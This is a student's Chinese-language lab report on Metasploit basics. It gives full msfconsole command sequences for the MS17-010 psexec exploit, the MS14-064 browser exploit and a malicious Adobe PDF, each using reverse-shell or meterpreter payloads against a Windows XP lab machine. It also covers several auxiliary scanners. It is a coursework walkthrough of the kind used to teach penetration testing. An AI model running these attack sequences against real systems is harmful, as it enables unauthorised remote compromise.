2018-2019 20165237网络对抗 Exp5 MSF基础应用

2018-2019 20165237网络对抗 Exp5 MSF基础应用

---

实验目标

• 本实践目标是掌握metasploit的基本应用方式，重点经常使用的三种攻击方式的思路。具体须要完成：
• 一个主动攻击实践，如ms08-067; （1分）

ms17_010_psexec(√) 不惟一

• 一个针对浏览器的攻击，如ms11-050；（1分）

ms14_064_ole_lode_execution(√)不惟一

• 一个针对客户端的攻击，如Adobe；（1分）
• adobe_geticon(√) 惟一
• 成功应用任何一个辅助模块。（0.5分）

scanner/http/ssl_version(√)不惟一

scanner/portscan/tcp (√)不惟一

scanner/oracle/tnslsnr_version (√)惟一

• 以上四个小实践可不限于以上示例，并要求至少有一个是和其余全部同窗不同的，不然扣除0.5分。

---

Exp 5.1 一个主动攻击实践-ms17-010

• 攻击机：Kali(IP地址:192.168.153.135)
• 靶机： windows XP(IP地址:192.168.153.136)

msf > use exploit/windows/smb/ms17_010_psexec
msf exploit(windows/smb/ms17_010_psexec) > show payloads
msf exploit(windows/smb/ms17_010_psexec) > set payload generic/shell_reverse_tcp //tcp反向回连
msf exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.153.135 //攻击机ip
msf exploit(windows/smb/ms17_010_psexec) > set LPORT 5237 //攻击端口
msf exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.153.136 //靶机ip，特定漏洞端口已经固定
msf exploit(windows/smb/ms17_010_psexec) > run //攻击

• 攻击成功以下：
  

---

Exp 5.2 对浏览器的攻击 ms14_064

• 攻击机：Kali(IP地址:192.168.153.135)
• 靶机： windows XP(IP地址:192.168.153.136)

msfconsole
msf > use windows/browser/ms14_064_ole_code_execution
set payload windows/meterpreter/reverse_tcp //http反向回连
set LHOST 192.168.153.135//攻击机ip
set Lport 5237//攻击端口固定
exploit //攻击

• 能够看到生成的一个URL：http://192.168.153.135:8080/YT1IHT
  

• 在XP的IE上点开后：
  

• 回到Kali，查看sessions，输入sessions -i 4后，发现攻击成功，得到shell功能
  

---

Exp 5.3 针对Adobe Reader软件的渗透攻击-adobe-geticon

• 攻击机：Kali(IP地址:192.168.153.135)
• 靶机： windows XP(IP地址:192.168.153.136)
  -依次输入如下指令：

search Adobe
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.153.135
set LPORT 5237
set filename 20165237.pdf
exploit

• 找到pdf文件（要打开显示隐藏文件选项）

• 接着输入如下代码

back
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.153.135
set LPORT 5237
exploit

• 接着在xp中点开pdf文件，回到kali，发现回传了一些东西。
  
  
  

• 查看sessions，输入session -i 1,发现攻击成功，可使用shell。
  

---

Exp 5.4 辅助功能攻击-tcp+ssl_version+tnslsnr_version

• 攻击机：Kali(IP地址:192.168.153.135)
• 靶机： windows XP(IP地址:192.168.153.136)
• 输入search auxiliary
• 选择其中一个进行使用(其实我试了不少，成功的也挺多，可是和以前的人重复，因此我就多用了几个，可能会重复，可是我以为效果很好)

• tcp扫描成功：
  
  

• ssl版本模块扫描成功：
  
  

• OracleSQL的监听服务攻击成功：
  

---

实验感想和问题

• 用本身的话解释什么是exploit,payload,encode？

exploit：针对靶机的漏洞，利用靶机中的后门，对靶机进行攻击。

payload：能够实现任何运行在受害者环境中的程序所能作的事情，而且可以执行动做包括破坏文件删除文件，向病毒的做者或者任意的接收者发送敏感信息，以及提供通向被感染计算机的后门。说白了就是传送到靶机上的用来攻击的恶意代码。

encode：对payload进行编码

• 离实战还缺些什么技术或步骤？
  一、在实践中发现MSF攻击的局限性很大，其中的漏洞几乎都是针对win XP系统，而实际应用的系统大部分是win7及以上的系统，若是须要实战攻击win7及以上的系统，还须要不断发现并成功利用新的漏洞。
  二、须要提升扫描等信息收集技术，信息收集是作攻击的重要前提，但大多数初级的扫描都会被win7及以上的系统发现甚至拒绝，因此提供相应的技术很重要。

• 感想：

此次实验花费了不少时间去查找能攻击成功的漏洞，可是让我对于msf更加熟练，甚至更加崇拜，但愿之后可以使用它更多的领域。